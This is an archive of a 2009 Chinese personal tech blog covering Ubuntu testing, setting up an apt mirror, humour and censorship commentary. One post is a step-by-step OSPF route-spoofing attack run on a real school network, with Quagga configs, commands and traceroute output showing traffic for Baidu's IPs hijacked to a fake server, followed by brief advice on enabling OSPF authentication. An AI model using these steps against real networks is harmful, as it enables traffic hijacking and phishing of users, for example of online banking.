2009年4月30日星期四
简要测试了一下Ubuntu9.04
上次用桌面的Linux还是一年前了(虽然一直在用Linux的服务器),当时好像是用804的LiveCD的,结果本本的声卡网卡显卡一律不认,这次很好,虽然显卡驱动是私有包,但是不装驱动的话分辨率还是能到正常的,而上次只能勉强使用1024x768。由于是LiveCD,所以没去装私有驱动(要重启)。声卡方面,有改进,但是还是有问题:不认识耳机插孔,耳机拔掉很正常,但是插上就没有声音了。Google了一下,好像是因为驱动识别的问题,要解决还是要动内核然后重启,所以继续不管- -
DVD版本的LiveCD确实比CD要好用,至少象输入法之类的包都有了(好像输入法的话把所有语言都包括了……)不过SCIM好像还是有问题。比如一启动竟然给我出现了两个SCIM的图标,然后切换输入法还经常让某个进程崩溃。
听网上有人说904启动速度挺快……不过这个LiveCD我用了5分钟才从黑屏状态转出来,难道是我光驱的问题么?不过运行起来倒是不慢,另外,在我自己的服务器上进行apt-get就是爽啊,装什么包几乎都是秒杀的=w=.
大概初体验就是这样了,没有仔细研究。而且由于是LiveCD,很多特性还是体验不了的,等有时间&有硬盘的时候再安装&try吧(估计到那时候,910都该有了)。
2009年4月27日星期一
责任,这年头谁都不容易
也许作为网络管理员,我的确完成了自己的责任,但是作为一个维护人员来说,没能和用户好好解释也许真的是一种失职吧。
或许这个问题归根到底还是垄断的问题,学生在学校上网,只能只用学校的网络设备,而学校也只能选择电信作为接入商。这个问题也就是在天朝这片神奇的土地上能发生了,体制不变革,表明文章做再多也TMD没用,抱歉我又师太了。
啊,对了,听完那位用户所说的电信推卸责任的话以后,我对后面的几个用户说的都是同样的话:请打10000号投诉去吧,打完10000号就去工信部吧。
2009年4月26日星期日
火狐,重启以及其他
您的火狐浏览器尚未关闭,请关闭所有窗口或者重启以后再试看上去挺普通的啊,但是亮点在最后的重启上。
明白人都知道,其实只要用任务管理器吧firefox这个进程kill掉(或者你要是蛋痛使用taskkill甚至xkill之类的东西我也不管)就完事了,但是干嘛开发人员要让人家重启呢?我想大概原因不外乎这样一条准则:
不是所有用户都是专家的确,对于一个连任务管理器都不知道是什么的用户来说“请结束所有剩余的firefox.exe进程”这几话无外乎是天书,而重启这种万金油试的解决办法的确是一个好选择。
说到重启这个玩意,想起一个笑话,很久以前在网吧,机器出点什么问题基本上只能叫“网管”,然后“网管”来了以后解决办法基本上是“重启”于是乎有了下面的对话:
罗嗦完重启以后在唠叨两句,以前我用Emeditor时也出现过这个现象,也就是前一个进程假死了,结果后面的进程就都启动不了。但是emeditor可没有得到我天朝网吧管理员的真传,新进程连个P都没放就自动退出了。结果还得我折腾半天(可惜我就是没重启),最后连重量级的Ollydbg都请出来了,才发现原来是原来的emeditor死掉了,一直挂在那里,新进程就一直向老进程发消息,然后自己就退出。这样说起来,FF应该比Emeditor先进,至少它会回PING新进程,告诉他:这事我已经处理了,你就放心的去吧- -||
- “网管,我上不了QQ了!”
- “重启。”
- “网管,我机器没反应了!!”
- “重启。”
- “网管,我的机器怎么老是自动重启啊?!”
- “重启。”
恩要吐槽的基本上就是这些,最近真的很蛋痛(凌晨5点还在上网,而且还会去Google杨叔的人不是蛋痛是啥)
2009年4月22日星期三
那啥……临时加工的后门
还有那啥……语言是.not,虽然我不喜欢M$(事实上我用SharpDevelop写的)……但是这种东西用.not总是比java占优势吧(C苦手的路过……主要是懒)
代码在这里:Server Manager.rar
就这,以上。
2009年4月21日星期二
夜深了,人静了,都睡觉了……

统计算法没写好……第一次取值总是0…… 然后这个曲线图……为啥是锯齿形的呢?为啥还这么均匀……
另外……最近十分纠结SNMP……前几天是纠结Javascript引擎……反正就没有几天不纠结的……
最近大概就是这样……
至于这个玩意儿是啥,请移步:http://code.google.com/p/alpacas/
2009年4月11日星期六
Oh my god喷饭记录[LIVE]
--- 还有这个 ---Stranger: hi
You: hi
You: chinese
Stranger: 唉
You: 继续中国人么
You: ……
You: 80% 了
You: 同唉……
Stranger: 你是女的我就继续。。。
Stranger: 哈哈
You: 你是女的我也继续。。。
You: 那就88
Stranger: 88
-- 然后还顺便科普草泥马--
2009年3月31日星期二
发现新的烹饪方法——主板烧
主板烧,顾名思义,就是用主板作为导热媒体使食物成熟(误)。主板烧的特点是食物外焦里嫩,香味浓郁,而且混合着淡淡的松香气味,使人食欲大增(大误)。主板烧的主要器材有:
1)电阻丝炉子一台,功率任意(注意:不能用电磁炉代替);
2)主板一块,最好是Intel平台,迅驰的更佳。
可以烹饪的石材(是食材啦,バカ~):
1) 肉(牛羊猪都可以)
2) 蛋(鸡鸭鹌鹑都行)
3) 菜(推荐白菜)
辅料有:
1) 助焊剂(松香或者松香酒精溶液)
2) 焊锡
3) 烧烤酱,盐,味精,糖适量
烧烤方法:
首先给主板上刷助焊剂,松香,然后用电阻丝炉吧主板烤热,然后放上刷好调料的食物,翻转至成熟即可。
没图没真相,付图几张(由于拍摄者太馋,只有加热主板的图片):



2009年3月26日星期四
热烈庆祝《草泥马语(暂定名)》发布
草泥马语是用了先进的 JOT(Just Out of Time)编译引擎,是运行速度大幅度降低同时,还是用了戈壁内外各种先进技术,使的草泥马语的稳定性不十分可靠。
欲了解更详细的情况,请访问草泥马语主页:http://code.google.com/p/grass-mud-horse/
2009年3月18日星期三
电信机房游记
位置大概在这里(由于是坐车去的,不是特别清楚,反正就是在一个公车站对面):
查看大图
这里只是一个分区机房而已,里面大概有十几台核心交换机和无数的光电转换器(很奇怪为什么他们不都用光口交换机,一问才知道原来那些光纤都是100M的....)
大致参观了一下内部设备,交换机80%是华为的,另外发现少量思科和阿尔卡特-朗讯的,令我小吃一惊的是所有设备都是用低压直流供电的,而且基本上都配备了冗余电源,旁边的一个屋子地上铺满了蓄电池,数量大概有200以上,这个就是机房的UPS系统,不过由于隔着玻璃,里面又没有灯,所以不能照相。
除了交换机和配套实施,另外还有一排机柜,上面插满了同轴电缆,电信的说是公安局的图像监控系统,其中一台显示器上显示了一个路口的监视器拍摄的画面,而下面着滚动着从此通过的车的牌照号……
基本上值得一提的除了一堆光纤一闪一闪,一堆风扇嗡嗡乱叫以外,就是在某个小角落发现的一台小设备,放在汇聚交换机下面,有两个以太网接口在正面,除此之外只有硬盘,电源,网络指示灯和电源接口的1U服务器(姑且叫他服务器)。随即问电信的工程师,这是什么东西,得到答复:“我们也不知道,安全局的人让我们放这里的,应该是什么审查设备,我们在汇聚上开了端口镜像给他。” 由此判断,可能是属于伟大的墙的一部分,至少和金盾工程脱不开干系。
下面是照片show,手机拍摄,画质渣,聚焦差,而且由于有些设备上标了IP地址什么的(虽然我很想知道这东西有什么不能泄漏的),人家不让拍,只能远远的来几张:-(
(下图左下角那个角落就是那台神秘设备了,点击看不是很大的大图。另外神秘人物出没,请无视)
2009年3月6日星期五
李毅中成为工信部下设栏目,Google算法有待改进

李毅中的大名赫然并列在导航栏目中,着实雷了一下。点进去发现是“工业和信息化部部长、党组书记 李毅中”的介绍页面。
Google官方对于这些子栏目列表的说明是:
Google 有时会根据网站内容生成附加链接以帮助用户浏览您的网站,这种链接称为网站链接。Google 会定期通过网站内容生成这些网站链接。
由于我们的网站链接是动态生成的,因此此列表会随时变化。
网站链接完全是自动生成的,仅当我们认为这些链接对用户有用时,才会显示网站链接。如果您的网站结构不允许我们的算法查找正常的网站链接,或者我们认为您网站的网站链接与用户查询没有关系,就不会显示该网站链接。不过,我们将不断改进查找和显示网站链接的方法。
显然,这不是人工干预的结果,所以我们只能希望Google继续改进该算法的可靠性,给用户带来方便。
2009年3月5日星期四
2009年3月1日星期日
2009年2月28日星期六
建立Ubuntu APT镜像服务器
首先先装好了一个ubuntu server系统,装了个lighttpd服务器(个人喜好而已,其实真正使用时应该用apache)
#apt-get install lighttpd
然后是apt-mirror
#apt-get install apt-mirror
配置apt-mirror:
#pico /etc/apt/mirror.list
文件内容:
############# config ##################
#
# set base_path /var/spool/apt-mirror
#
# if you change the base path you must create the directories below with write privileges
#
# set mirror_path $base_path/mirror
# set skel_path $base_path/skel
# set var_path $base_path/var
# set cleanscript $var_path/clean.sh
# set defaultarch
set nthreads 40
set _tilde 0
#
############# end config ##############
deb http://mirrors.163.com/ubuntu/ intrepid main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ intrepid-security main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ intrepid-updates main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ intrepid-proposed main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ intrepid-backports main restricted universe multiverse
clean http://mirrors.163.com/ubuntu/
其实就是source.list的内容,加上一头一尾。
因为需求比较少,我就没加deb-src,可以节省不少空间。另外,默认是20线程的,我改成了40线程。
修改好了以后就可以建立镜像了:
#apt-mirror
根据你的网速,这个下载过程会很久(因为要下载的东西很多,我的配置文件需要下载26G左右的数据)。我等了6个小时左右完成了这个操作。
下载的文件保存在/var/spool/apt-mirror/ 下一步就是在lighttpd的web文件夹建立一个link过去就可以了
#ln -s /var/spool/apt-mirror/mirror/mirrors.163.com /var/www/ubuntu
这样,一个apt镜像就可以访问了,客户端只需要修改它的/etc/apt/source.list就可以了,替换一下服务器地址就行。
另外,还要建立一个定期任务,让apt-mirror自动更新:
修改/etc/cron.d/apt-mirror:
0 4 * * * apt-mirror /usr/bin/apt-mirror > /var/spool/apt-mirror/var/cron.log
另外,/var/spool/apt-mirror/var/clean.sh可以清理掉一些没用的文件,每隔一段时间运行一下就行。
2009年2月14日星期六
214特供:要嫁就嫁男程序员 !!
1. 专一的心,除了计算机就是你!
2. 不喝酒不发脾气!
3. 一套衣服穿半年!
4. 没时间接触其它Girl,想搞婚外恋也没可能。
5. 平时总加班,所以周末一定会怀着一颗愧疚的心在家陪老婆逛街、看电视、聊天、做家务。
6. 只认识0和1,基本没理财能力,一定会主动把所有的钱都交给老婆管,还会千恩万谢地。
7. 知道既然世界上不存在没有Bug的程序,就更加不会有没有缺点的人,所以绝不会老婆太过苛求。
8. 知道系统若不经常维护就无法保持稳定运行,所以一定会每天都对老婆精心呵护。
9. 会帮老婆把菜谱改写成if...then...do while的格式,并且带有漂亮的缩进。
10. 老婆可以对所有的表弟、表妹宣称:“你们的毕业设计我全包了……”
11. 老婆的QQ不好用了,急得不行。程序员会从容地说:“没事,交给我吧”,然后祭出SoftIce、WinDbg、VisualStidio 20XX调试3小时,最后搞到系统崩溃,重装了事。
12. 如果将来小孩不爱学习,老婆就可以教育他说:“再不用功,将来就会像你老爹那样,只能作程序员……”
13. 如果将来小孩沉迷网游,老婆就可以埋汰他说:“你还在玩你老爸在厕所里憋出来的那个破游戏呐?”
14. 如果将来小孩嫌背单词太枯燥,老婆就可以把程序员的代码拿给他看:“看你老爹为了背单词,重复了多少遍if else for 和 string啊?!”
15. 嫁给瘦弱的程序员,也许永远无法目睹他像李连杰那样以一敌十的英姿,却也会听到他吼道:“哪个孙子又在QQ上骂你呐?看我不盗了她的号……”
16. 嫁给程序员,也许一辈子没机会开奔驰、坐宝马,却也会听见他在梦中叹道:“要是奔驰宝马也能盗版就好了……”
17. 对色彩和流行毫无感觉。所以当老婆从试衣间里走出来的时候,他会故作沉思状地摸摸下巴,然后随机从数组["很可爱","显得你更高挑了","显得你更文雅 了","哇,好性感!","好像不太适合你这么瘦的女孩子","好清纯!","这颜色最适合你这样皮肤好的女孩子了","天哪,穿在你身上就是不一 样!"]中选择一个Item。
18. 除了每个月买一本书,就没有其它需要花钱的地方,剩下的钱只能变着法的给老婆买各种首饰和衣服。
19. 每天都读书到深夜,是孩子的好榜样。
20. 每天都被Bug和客户双重折磨,有极好的耐心和涵养,就算跟老婆吵架也能保持温柔和冷静,不太可能说出不理智的话伤了老婆的心。
2009年2月11日星期三
雷声天天有,今天特别多

首先看这幅图,没错,你没看错,1TB的硬盘才卖260!是人民币,不是美元!赶快联系卖家,对方这么说的:首先声明,我们仅仅是用淘宝做宣传,不支持支付宝。看到这句很黄很暴力的话,我赶紧就把那个窗口关了……
PS:此物地址:http://item.taobao.com/auction/item_detail-null-efe9ec086838628bfec65b8d73f8886c.jhtml
一般人我不告诉他
然后再看这幅图:
红框内部文字醒目,几天没上来,没想到我这里变成银行了……然后再来一个番外篇:
http://www.hexieshe.com/logs/34970424.html
2009年2月10日星期二
吃元宵、】看花灯、放鞭炮、烧央视 2009年元宵节精彩的一夜
各网:“中央电视台新大楼北配楼发生火灾”相关报道,请各网站只用新华社通稿,不发图片、视频,不作深度报道;只放国内新闻区,关闭跟帖,自然滚动,论坛博客不置顶,不推荐。(一级)
本来出事不到10分钟就知道了,google了一下,然后再CB上投放了一下就去看南家S03E06了。解决完一系列积压的和谐物以后再google发现上述文字,CB有关此事的新闻也关闭评论。先搜集一些趣闻仅供娱乐:
“我报纸上看了 我还不相信 上网看了 还是真的了 希望里面的人全部脱离火灾区”某人针对央视着火的评论,发表于2009/2/10 02:12AM,我很想知道这报纸的名字。
此次乃消防演习,请保持情绪稳定
23:30 在《不许联想》看到起火新闻及图片;
23:40 在sohu、sina、163等各门户首页发现该新闻及组图;
23:50 在网上继续看相关新闻,并在电视机前等着看CCAV新闻频道
24:00 央视新闻频道对火灾只字未提,第一条新闻是领导指挥抗旱,后几条是澳大利亚森林火灾
24:15 有网络传言即将水产各网站新闻,“不许发图片,以某报道为准,停止跟帖”
24:20 sina首页新闻已撤下,sohu5分钟后撤下新闻图片
24:22 CCAV用了1分钟,报了几个领导名字,说大火已被控制,然后是网球新闻
然后就是舆论控制和俯卧撑被谋杀之类的“真理部”批示了。我让们期待吧。
2009年2月9日星期一
2009年2月6日星期五
Oops
发现好像不用自定义域名就能连上,难道cname的值又更改了么?谁知道?
最近在完成这个:http://code.google.com/p/orzjisp/,然后最近很萌这个:http://zh.wikipedia.org/w/index.php?title=%E5%8D%97%E5%AE%B6%E4%B8%89%E5%A7%8A%E5%A6%B9&variant=zh-cn 嗯嗯,大概就是这些(喂喂,哪些啊?),那么诸君,明儿见。
2008年12月31日星期三
2008年12月19日星期五
不加密的OSPF路由寻找协议带来的安全问题
下面的篇幅,就是用来说明欺骗的原理,实现和预防机制。
=-=-=我是一条分割线=-=-=
原理篇:什么是OSPF
一下内容来自维基百科:
开放式最短路径优先(英文Open Shortest Path First,OSPF)是对链路状态路由协议的一种实现,隶属内部网关协议(IGP),故运作于自治系统内部。著名的迪克斯加算法(Dijkstra)被用来计算最短路径树。它使用“成本”作为路由度量。链路状态数据库用网络拓扑来创建,它在区域中的全部路由器上是等价的。
OSPF协议大概是在大型网络上使用最为广泛的IGP(Interior Gateway Protocol)协议。节点在建立邻接,接受连接状态宣告(link-state advertisement)之前,可以通过MD5进行安全验证。
一个OSPF网络可以被划分成更小的网络。其中,一个特别的区域(area)被称为骨干区域(backbone area),该区域是整个OSPF网络的核心区域,并且所有其他的区域都与之连接。所有的内部路由都通过骨干区域。所有的区域都必须连接到骨干区域,如果 不能建立直接连接,那么可以通过虚拟通道建立虚拟连接(virtual link)。
同一个广播域(broadcast domain)的路由器或者一个点对点(point to point)连接的两端的路由器,在发现彼此的时候,建立邻接(adjacencies)[1]。 同一广播网络或者模拟广播网络的点对点网络中的路由器会选举指定路由器(designated router, DR)和备份指定路由器(backup designated router, BDR),DR和BDR作为网络的中心负责路由器之间的信息交换从而降低了网络中的信息流量。OSPF协议同时使用单播(unicast)和多播(multicast)来发送Hello包和连接状态更新(link state updates),使用的多播地址为224.0.0.5和224.0.0.6。与RIP和BGP不同的是,OSPF协议不使用TCP或者UDP协议而是直接使用IP协议。
简单来说,OSPF 就是用于路由器之间交换自己所在网络信息的协议,OSPF本身是支持安全认证的,但是由于管理人员的失误,我们学校的路由器并没有配置这种安全认证机制,这也就给我们留下了可乘之机。
欺骗的实现就是依靠OSPF的路由器寻找模式发送OSPF响应包,从而篡改目标路由器上的路由表
=-=-=-=-=下面是淫荡的欺骗过程的分割线=-=-=-=-=-=-
实现篇:
1:欺骗的条件
要实现欺骗,需要有以下条件:
1)一台支持OSPF的路由设备(软硬都可)
2)目标OSPF应该和你(欺骗用路由)在同一个网段。
3)目标路由应该没有使用OSPF认证,或者你可以得到相应的认证信息。
2:准备工作
我是用的是一台双网卡的linux主机做软路由,上面跑了支持OSPF的Quagga作为路由软件,eth1与目标路由(也就是我们上网的网关相连)IP地址为自动获取,eth2与内部网络相连,绑定了多个IP
root@bearice-ubuntu-server:~# ifconfig
eth1 Link encap:Ethernet HWaddr 00:40:45:0e:52:12
inet addr:172.21.204.65 Bcast:172.21.204.255 Mask:255.255.255.0
inet6 addr: fe80::240:45ff:fe0e:5212/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2162021 errors:0 dropped:940 overruns:0 frame:0
TX packets:669879 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:196472110 (187.3 MB) TX bytes:565933427 (539.7 MB)
Interrupt:11 Base address:0x6e00
eth2 Link encap:Ethernet HWaddr 00:00:21:0e:22:f6
inet addr:192.168.100.200 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::200:21ff:fe0e:22f6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1809604 errors:0 dropped:0 overruns:0 frame:127
TX packets:406894 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:153446129 (146.3 MB) TX bytes:323207532 (308.2 MB)
Interrupt:3 Base address:0x300
安装qugga的过程省略,网上有现成的文章,使用ubuntu仅仅需要apt-get install quagga就行了。
把把我的配置文件贴出来:
! /etc/quagga/zerba.conf
! Zebra configuration saved from vty
! 2008/12/18 00:19:21
!
hostname Bearice-Zebra-Router
password goodpassword
enable password goodpassword
!
interface eth1
ipv6 nd suppress-ra
!
interface eth2
ipv6 nd suppress-ra
!
interface lo
!
ip forwarding
!
!
line vty
!
! /etc/quagga/ospfd.conf
! Zebra configuration saved from vty
! 2008/12/18 00:19:21
!
hostname Bearice-OSPF-Router
password goodpassword
enable password goodpassword
!
!
!
interface eth1
!
interface eth2
!
interface lo
!
router ospf
ospf router-id 172.21.204.65
network 172.21.204.0/24 area 0.2.0.0
network 192.168.100.0/24 area 0.2.0.0
area 0.2.0.0 stub
!
line vty
!
上面的area id可以通过嗅探得到:

图中的area id就是目标路由器发送的OSPF Hello包中的ID
3:欺骗开始
配置好quagga以后,你的quagga就应该自动和目标路由建立连接了。telnet 本地的2604端口(也就是OSPFD的配置端口),就可以看到:
root@bearice-ubuntu-server:~# telnet 0 2604
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
Hello, this is Quagga (version 0.99.9).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
User Access Verification
Password:
Bearice-OSPF-Router> en
Password:
Bearice-OSPF-Router# sh ip os ne
Neighbor ID Pri State Dead Time Address Interface RXmtL RqstL DBsmL
172.16.7.3 1 Full/DR 31.559s 172.21.204.254 eth1:172.21.204.65 0 0 0
Bearice-OSPF-Router#
实验性的,我选取了百毒作为此次试验的目标,首先得到百毒的ip:
root@bearice-ubuntu-server:~# nslookup www.baidu.com
Server: 202.103.224.68
Address: 202.103.224.68#53
Non-authoritative answer:
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 121.14.88.14
Name: www.a.shifen.com
Address: 121.14.89.14
恩,得到他的IP地址了,在我的机器上配置这个IP地址,修改/etc/network/interfaces
auto eth2:3
iface eth2:3 inet static
address 121.14.89.14
netmask 255.255.255.255
auto eth2:4
iface eth2:4 inet static
address 121.14.88.14
netmask 255.255.255.255
然后在ifup eth2:3和ifup eth2:4就可以了。
然后需要在ospfd里面配置这个网络地址,好让目标路由中存在我们这个路由记录:
root@bearice-ubuntu-server:~# telnet 0 2604
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
Hello, this is Quagga (version 0.99.9).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
User Access Verification
Password:
Bearice-OSPF-Router> en
Password:
Bearice-OSPF-Router#
Bearice-OSPF-Router# con
Bearice-OSPF-Router# configure
Bearice-OSPF-Router# configure terminal
Bearice-OSPF-Router(config)# rout
Bearice-OSPF-Router(config)# router o
Bearice-OSPF-Router(config)# router ospf
Bearice-OSPF-Router(config-router)# network 121.14.88.14/32 ar
Bearice-OSPF-Router(config-router)# network 121.14.88.14/32 area 0.2.0.0
Bearice-OSPF-Router(config-router)# network 121.14.89.14/32 area 0.2.0.0
这样就完成了欺骗,等待几秒钟时间,让路由器更新路由记录,然后在另一台机器上进行测试:
C:\Users\Bearice>tracert 121.14.89.14
通过最多 30 个跃点跟踪到 121.14.89.14 的路由
1 1 ms 1 ms 1 ms 172.21.204.254
2 1 ms 1 ms 1 ms 172.16.7.254
3 2 ms 5 ms 9 ms 10.4.0.1
4 1 ms 1 ms 1 ms 219.159.104.129
5 2 ms 2 ms 2 ms 218.65.144.129
6 * * 16 ms 218.65.144.5
7 * 6 ms 6 ms 202.97.66.113
8 11 ms 12 ms 14 ms 202.97.66.125
9 24 ms 24 ms 25 ms 202.97.21.130
10 24 ms 23 ms 23 ms 202.97.44.9
11 28 ms 35 ms 35 ms 202.97.25.197
12 <1>tracert 121.14.89.14
通过最多 30 个跃点跟踪到 121.14.89.14 的路由
1 1 ms 1 ms 1 ms 172.21.204.254
2 <1>
我们看到目标IP的路由路径已经成功改变了。
在我的机器上架设了一个lighttpd服务器,然后加上一个www.baidu.com.的vhost.欺骗完成,效果如下:

值得一提的是:这种欺骗的效果不仅仅限于本子网内,所有与目标路由交换路由信息的路由器都会加入这条路由记录。
这种方法的危害是很大的,加入我欺骗的IP不是百毒的而是网银的,那么后果是十分严重的。
=-=-=-=-=下面讲讲预防的方式=-=-=-=-=
当初OSPF的设计者们显然也认知到了这个问题,所以OSPF协议是支持认证的,也就是只有使用同一个密印的路由器之间才能交换信息(当然加入你能嗅探到,或者得到其中某个路由的配置权限,这种加密等于白费)
所以加入你是网络管理员的话,配置路由器时要注意不要使用默认的OSPF设置,加个密码吧。









